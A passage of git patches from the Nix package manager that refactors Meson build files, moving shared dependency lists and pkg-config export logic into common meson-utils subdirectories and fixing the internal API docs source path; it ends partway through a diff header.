index 7ebbe3d0626..b8e25d213c8 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -14,20 +14,7 @@ project('nix-util-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -120,32 +107,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires_private = []
-foreach dep : deps_private_subproject
-  requires_private  += dep.name()
-endforeach
-requires_private += deps_private
+libraries_private = []
 
-requires_public  = []
-foreach dep : deps_public_subproject
-  requires_public  += dep.name()
-endforeach
-requires_public += deps_public
-
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires_public,
-  requires_private : requires_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : [],
-))
+subdir('meson-utils/export')
diff --git a/src/libutil-test-support/meson-utils b/src/libutil-test-support/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libutil-test-support/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index 4a8f8b54e56..1dee897cb2d 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -14,17 +14,7 @@ project('nix-util-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public = [ ]
-
-# See note in ../nix-util/meson.build
-deps_public_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -100,26 +90,6 @@ this_library = library(
 
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
-requires = []
-foreach dep : deps_public_subproject
-  requires += dep.name()
-endforeach
-requires += deps_public
+libraries_private = []
 
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : requires,
-  requires_private : deps_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : deps_public_subproject + deps_public,
-))
+subdir('meson-utils/export')
diff --git a/src/libutil-test/meson-utils b/src/libutil-test/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libutil-test/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index c3d72b9768c..e9167545593 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -14,14 +14,7 @@ project('nix-util-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# See note in ../nix-util/meson.build
-deps_private = [ ]
-
-# See note in ../nix-util/meson.build
-deps_private_subproject = [ ]
-
-# See note in ../nix-util/meson.build
-deps_other = [ ]
+subdir('meson-utils')
 
 foreach nix_dep : [
   dependency('nix-util'),
@@ -115,9 +108,3 @@ this_exe = executable(
 )
 
 test(meson.project_name(), this_exe, env : ['_NIX_TEST_UNIT_DATA=' + meson.current_source_dir() + '/data'])
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_exe,
-  compile_args : ['-std=c++2a'],
-))
diff --git a/src/libutil/meson-utils b/src/libutil/meson-utils
new file mode 120000
index 00000000000..41c67447ebc
--- /dev/null
+++ b/src/libutil/meson-utils
@@ -0,0 +1 @@
+../../meson-utils
\ No newline at end of file
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index c9dfee651a8..036a867db92 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -14,36 +14,7 @@ project('nix-util', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-# These are private dependencies with pkg-config files. What private
-# means is that the dependencies are used by the library but they are
-# *not* used (e.g. `#include`-ed) in any installed header file, and only
-# in regular source code (`*.cc`) or private, uninstalled headers. They
-# are thus part of the *implementation* of the library, but not its
-# *interface*.
-#
-# See `man pkg-config` for some details.
-deps_private = [ ]
-
-# These are public dependencies with pkg-config files. Public is the
-# opposite of private: these dependencies are used in installed header
-# files. They are part of the interface (and implementation) of the
-# library.
-#
-# N.B. This concept is mostly unrelated to our own concept of a public
-# (stable) API, for consumption outside of the Nix repository.
-# `libnixutil` is an unstable C++ library, whose public interface is
-# likewise unstable. `libutilc` conversely is a hopefully-soon stable
-# C library, whose public interface --- including public but not private
-# dependencies --- will also likewise soon be stable.
-#
-# N.B. For distributions that care about "ABI" stablity and not just
-# "API" stability, the private dependencies also matter as they can
-# potentially affect the public ABI.
-deps_public = [ ]
-
-# These are dependencencies without pkg-config files. Ideally they are
-# just private, but they may also be public (e.g. boost).
-deps_other = [ ]
+subdir('meson-utils')
 
 configdata = configuration_data()
 
@@ -315,21 +286,4 @@ if host_machine.system() == 'windows'
   libraries_private += ['-lws2_32']
 endif
 
-import('pkgconfig').generate(
-  this_library,
-  filebase : meson.project_name(),
-  name : 'Nix',
-  description : 'Nix Package Manager',
-  subdirs : ['nix'],
-  extra_cflags : ['-std=c++2a'],
-  requires : deps_public,
-  requires_private : deps_private,
-  libraries_private : libraries_private,
-)
-
-meson.override_dependency(meson.project_name(), declare_dependency(
-  include_directories : include_dirs,
-  link_with : this_library,
-  compile_args : ['-std=c++2a'],
-  dependencies : [],
-))
+subdir('meson-utils/export')

From d902481a365c82c7620bcfd2c661589c0246fe00 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:19:42 -0400
Subject: [PATCH 464/528] Better org

---
 meson-utils/{ => deps-lists}/meson.build | 0
 src/libexpr-c/meson.build                | 2 +-
 src/libexpr-test-support/meson.build     | 2 +-
 src/libexpr-test/meson.build             | 2 +-
 src/libexpr/meson.build                  | 2 +-
 src/libfetchers-test/meson.build         | 2 +-
 src/libfetchers/meson.build              | 2 +-
 src/libflake-test/meson.build            | 2 +-
 src/libflake/meson.build                 | 2 +-
 src/libstore-c/meson.build               | 2 +-
 src/libstore-test-support/meson.build    | 2 +-
 src/libstore-test/meson.build            | 2 +-
 src/libstore/meson.build                 | 2 +-
 src/libutil-c/meson.build                | 2 +-
 src/libutil-test-support/meson.build     | 2 +-
 src/libutil-test/meson.build             | 2 +-
 src/libutil/meson.build                  | 2 +-
 17 files changed, 16 insertions(+), 16 deletions(-)
 rename meson-utils/{ => deps-lists}/meson.build (100%)

diff --git a/meson-utils/meson.build b/meson-utils/deps-lists/meson.build
similarity index 100%
rename from meson-utils/meson.build
rename to meson-utils/deps-lists/meson.build
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index e2058948481..af4965b547d 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index 15138744f47..2755ce8f0c2 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index cf6fb477c91..78701d6c35d 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -14,7 +14,7 @@ project('nix-expr-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 401ac66737e..3c06710a2f8 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -14,7 +14,7 @@ project('nix-expr', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index ceadaf22a10..98a5bb54981 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -14,7 +14,7 @@ project('nix-fetchers-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 6954358afde..491324c7fdc 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -14,7 +14,7 @@ project('nix-fetchers', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index 4ae5328002e..00fe90f6eb5 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -14,7 +14,7 @@ project('nix-flake-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index bb85543a2e4..18c667b5460 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -14,7 +14,7 @@ project('nix-flake', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 48efbae6f9d..66446fa201b 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -14,7 +14,7 @@ project('nix-store-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index 3f7104062aa..9acb6b4adf8 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -14,7 +14,7 @@ project('nix-store-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index ed86a0ea9b5..0753f9e717a 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -14,7 +14,7 @@ project('nix-store-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 2acd03f2336..6e79a0e85cc 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -14,7 +14,7 @@ project('nix-store', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index b8e25d213c8..612138ad935 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -14,7 +14,7 @@ project('nix-util-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index 1dee897cb2d..00e39f6ab31 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -14,7 +14,7 @@ project('nix-util-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index e9167545593..0be920a41d6 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -14,7 +14,7 @@ project('nix-util-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 foreach nix_dep : [
   dependency('nix-util'),
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 036a867db92..337480d822b 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -14,7 +14,7 @@ project('nix-util', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils')
+subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 

From 4609ab318cc81df3c3f686cd8c444a2557f08420 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:21:00 -0400
Subject: [PATCH 465/528] Fix internal API docs

---
 src/internal-api-docs/meson.build | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/internal-api-docs/meson.build b/src/internal-api-docs/meson.build
index 2568c56cf4c..54eb7e5dd47 100644
--- a/src/internal-api-docs/meson.build
+++ b/src/internal-api-docs/meson.build
@@ -12,7 +12,7 @@ doxygen_cfg = configure_file(
   configuration : {
     'PROJECT_NUMBER': meson.project_version(),
     'OUTPUT_DIRECTORY' : meson.current_build_dir(),
-    'src' : fs.parent(fs.parent(meson.project_source_root())),
+    'src' : fs.parent(fs.parent(meson.project_source_root())) / 'src',
   },
 )
 

From c88f83b471030e6b065b0cb678f59f3d4696cb18 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 12:34:03 -0400
Subject: [PATCH 466/528] More dedup

---
 meson-utils/subprojects/meson.build   | 19 +++++++++++++++++++
 src/libexpr-c/meson.build             | 25 ++++++-------------------
 src/libexpr-test-support/meson.build  | 13 ++++---------
 src/libexpr-test/meson.build          | 13 ++++---------
 src/libexpr/meson.build               | 13 ++++---------
 src/libfetchers-test/meson.build      | 13 ++++---------
 src/libfetchers/meson.build           | 13 ++++---------
 src/libflake-test/meson.build         | 13 ++++---------
 src/libflake/meson.build              | 13 ++++---------
 src/libstore-c/meson.build            | 25 ++++++-------------------
 src/libstore-test-support/meson.build | 13 ++++---------
 src/libstore-test/meson.build         | 13 ++++---------
 src/libstore/meson.build              | 13 ++++---------
 src/libutil-c/meson.build             | 22 +++-------------------
 src/libutil-test-support/meson.build  | 13 ++++---------
 src/libutil-test/meson.build          | 13 ++++---------
 src/libutil/meson.build               |  6 ++++++
 17 files changed, 88 insertions(+), 165 deletions(-)
 create mode 100644 meson-utils/subprojects/meson.build

diff --git a/meson-utils/subprojects/meson.build b/meson-utils/subprojects/meson.build
new file mode 100644
index 00000000000..30a54ed913e
--- /dev/null
+++ b/meson-utils/subprojects/meson.build
@@ -0,0 +1,19 @@
+foreach maybe_subproject_dep : deps_private_maybe_subproject
+  if maybe_subproject_dep.type_name() == 'internal'
+    deps_private_subproject += maybe_subproject_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += maybe_subproject_dep
+  else
+    deps_private += maybe_subproject_dep
+  endif
+endforeach
+
+foreach maybe_subproject_dep : deps_public_maybe_subproject
+  if maybe_subproject_dep.type_name() == 'internal'
+    deps_public_subproject += maybe_subproject_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += maybe_subproject_dep
+  else
+    deps_public += maybe_subproject_dep
+  endif
+endforeach
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index af4965b547d..50616d0d81e 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -18,32 +18,19 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
   dependency('nix-expr'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
-
-foreach nix_dep : [
+deps_public_maybe_subproject = [
   dependency('nix-util-c'),
   dependency('nix-store-c'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
 
 config_h = configure_file(
   configuration : configdata,
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index 2755ce8f0c2..5dbc6b1b5ff 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -16,21 +16,16 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-test-support'),
   dependency('nix-store'),
   dependency('nix-store-test-support'),
   dependency('nix-expr'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index 78701d6c35d..cf1c4872906 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
@@ -27,14 +29,7 @@ foreach nix_dep : [
   dependency('nix-expr-c'),
   dependency('nix-expr-test-support'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
   # Windows DLLs are stricter about symbol visibility than Unix shared
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 3c06710a2f8..30981a66e3e 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -18,19 +18,14 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
   dependency('nix-fetchers'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 # This is only conditional to work around
 # https://github.com/mesonbuild/meson/issues/13293. It should be
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index 98a5bb54981..7f35cbeca55 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
@@ -25,14 +27,7 @@ foreach nix_dep : [
   dependency('nix-store-test-support'),
   dependency('nix-fetchers'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
   # Windows DLLs are stricter about symbol visibility than Unix shared
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 491324c7fdc..07ec2bc57c5 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -18,18 +18,13 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index 00fe90f6eb5..1a488ec1364 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
@@ -28,14 +30,7 @@ foreach nix_dep : [
   dependency('nix-expr-test-support'),
   dependency('nix-flake'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
   # Windows DLLs are stricter about symbol visibility than Unix shared
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index 18c667b5460..b0c172f0c22 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -16,20 +16,15 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
   dependency('nix-fetchers'),
   dependency('nix-expr'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 66446fa201b..3e59050fde4 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -18,30 +18,17 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
-
-foreach nix_dep : [
+deps_public_maybe_subproject = [
   dependency('nix-util-c'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
 
 config_h = configure_file(
   configuration : configdata,
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index 9acb6b4adf8..959125561da 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -16,19 +16,14 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-test-support'),
   dependency('nix-store'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 0753f9e717a..4469c6d6aaa 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
@@ -24,14 +26,7 @@ foreach nix_dep : [
   dependency('nix-store-c'),
   dependency('nix-store-test-support'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
   # Windows DLLs are stricter about symbol visibility than Unix shared
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 6e79a0e85cc..d5dcb193177 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -23,17 +23,12 @@ configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
 
 configdata.set_quoted('SYSTEM', host_machine.system())
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 run_command('ln', '-s',
   meson.project_build_root() / '__nothing_link_target',
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 612138ad935..35338cbbc4e 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -18,28 +18,12 @@ subdir('meson-utils/deps-lists')
 
 configdata = configuration_data()
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
   dependency('nix-util'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
-
-foreach nix_dep : [
+deps_public_maybe_subproject = [
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 # TODO rename, because it will conflict with downstream projects
 configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index 00e39f6ab31..1b8a14355f2 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -16,17 +16,12 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_public_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_public += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index 0be920a41d6..36e8c22885d 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -16,19 +16,14 @@ cxx = meson.get_compiler('cpp')
 
 subdir('meson-utils/deps-lists')
 
-foreach nix_dep : [
+deps_private_maybe_subproject = [
+]
+deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
 ]
-  if nix_dep.type_name() == 'internal'
-    deps_private_subproject += nix_dep
-    # subproject sadly no good for pkg-config module
-    deps_other += nix_dep
-  else
-    deps_private += nix_dep
-  endif
-endforeach
+subdir('meson-utils/subprojects')
 
 if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
   # Windows DLLs are stricter about symbol visibility than Unix shared
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 337480d822b..d0e9f02c47b 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
